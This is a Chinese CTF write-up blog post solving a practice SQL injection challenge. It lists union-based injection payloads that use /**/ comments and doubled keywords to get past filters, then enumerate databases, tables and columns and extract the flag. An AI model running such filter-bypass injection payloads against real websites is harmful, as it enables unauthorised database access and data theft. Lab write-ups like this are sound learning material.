实验吧简单的SQL注入1,简单的SQL注入

接上面一篇博客。

实验吧简单的sql注入1

题目连接   http://ctf5.shiyanbar.com/423/web/

同样,直接输入 1加个但引号,结果下面有返回错误,              ,         有错,所以估计这里应该是要闭合,字符行注入,但是这个标题,到底过滤了什么,目前我还不知道过滤了什么,所以先搞一下。。

输入  1' and 1=1#  按理说应该是返回正常,结果返回了一个错误 

‘#‘  被过滤了,那好 还有其他姿势,输入   1’ and '1'='1

结果也错,怎么回事? 换or试一试  用 1’ or '1'='1

出现所有数据,但是and不行,所以估计是and被过滤了  看看是不是被过滤了 双写一下  1' andand '1'='1

输入两个and 结果只出现一个and ,确定and是被过滤了,而且后面那个空格也过滤了

没事,这里想到用/**/绕过过滤,用union

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

 说老实话我不知道为什么这里的database()用不起,大神指点一下.

 接下来爆表明

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

得到表名 flag

接下来爆字段名

1'/**/union/**/select/**/column_name/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag

但是不行 被报错 

 把information_schema.coluinformation_schema.columnsmns 给我过滤了,这里用双写,但是双写发现也会被过滤,可以啊,那我把一部分写在中间  

1'/**/union/**/select/**/column_name/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag

结果还是报错,可能是起那面column_name也过滤了 ,这里把column_name也双写

1'/**/union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag

这里出现字段名flag。

接下来直接 1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

拿到flag 

第二道题 用前两句一样可以拿到库名和表明,只是第三句爆字段名的时候不用双写

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag

也可以拿到表明和字段名  也是flag 和flag

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

也可以拿到答案

 关于简单的sql注入3,我暂时还不会,fuzz测试还没学会,过两天会更新,一定会学会

猜你喜欢

转载自www.cnblogs.com/tlbjiayou/p/10828601.html
今日推荐